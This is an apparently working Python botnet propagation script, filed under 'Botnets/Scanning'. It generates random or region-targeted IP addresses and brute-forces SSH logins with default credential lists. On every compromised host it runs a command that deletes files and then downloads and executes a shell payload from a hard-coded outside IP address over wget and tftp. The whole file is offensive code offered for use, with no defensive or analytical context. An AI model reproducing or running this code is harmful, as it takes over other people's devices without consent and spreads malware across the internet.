Path: blob/master/Botnets/Scanning/AUTOSCANNER/Unix.py
5038 views
#!/usr/bin/env python1import threading, paramiko, random, socket, time, sys23paramiko.util.log_to_file("/dev/null")45blacklist = [6'127'7]89passwords = [10"root:root",11"root:admin",12"admin:admin",13"ubnt:ubnt"14"root:1234",15"admin:1234",16"guest:guest",17"user:user",18"test:test",19"pi:raspberry",20"vagrant:vagrant"21]2223if sys.argv[4] == '1':24passwords = ["root:root", "root:admin", "admin:1234"]2526jackmeoff = random.choice(["see nudes of rootgod"])27raw_input('Press <ENTER> To '+jackmeoff)2829ipclassinfo = sys.argv[2]30if ipclassinfo == "A":31ip1 = sys.argv[3]32elif ipclassinfo == "B":33ip1 = sys.argv[3].split(".")[0]34ip2 = sys.argv[3].split(".")[1]35elif ipclassinfo == "C":36ips = sys.argv[3].split(".")37num=038for ip in ips:39num=num+140if num == 1:41ip1 = ip42elif num == 2:43ip2 = ip44elif num == 3:45ip3 = ip46class sshscanner(threading.Thread):47global passwords48global ipclassinfo49if ipclassinfo == "A":50global ip151elif ipclassinfo == "B":52global ip153global ip254elif ipclassinfo == "C":55global ip156global ip257global ip358def run(self):59while 1:60try:61while 1:62thisipisbad='no'63if ipclassinfo == "A":64self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))65elif ipclassinfo == "B":66self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))67elif ipclassinfo == "C":68self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))69elif ipclassinfo == "BRAZIL":70br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]71self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))72elif ipclassinfo == "SUPER":73yeet = ["122","131","161","37","186","187","31","188","201","2","200"]74self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))75elif ipclassinfo == "LUCKY":76lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]77self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))78elif ipclassinfo == "LUCKY2":79lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]80self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))81elif ipclassinfo == "RAND":82self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))83elif ipclassinfo == "INTERNET":84lol = ["1"]85self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))86else:87self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))88for badip in blacklist:89if badip in self.host:90thisipisbad='yes'91if thisipisbad=='no':92break93username='root'94password=""95port = 2296s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)97s.settimeout(3)98s.connect((self.host, port))99s.close()100ssh = paramiko.SSHClient()101ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())102dobreak=False103for passwd in passwords:104if ":n/a" in passwd:105password=""106else:107password=passwd.split(":")[1]108if "n/a:" in passwd:109username=""110else:111username=passwd.split(":")[0]112try:113ssh.connect(self.host, port = port, username=username, password=password, timeout=3)114dobreak=True115break116except:117pass118if True == dobreak:119break120badserver=True121stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")122output = stdout.read()123if "inet addr" in output:124badserver=False125if badserver == False:126print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)127ssh.exec_command("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var; rm -f *; busybox wget http://89.34.97.125/gtop.sh; sh gtop.sh; wget1 http://89.34.97.125/gtop.sh; sh gtop.sh; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n")128time.sleep(20)129ssh.close()130except:131pass132133for x in range(0,int(sys.argv[1])):134try:135t = sshscanner()136t.start()137except:138pass139140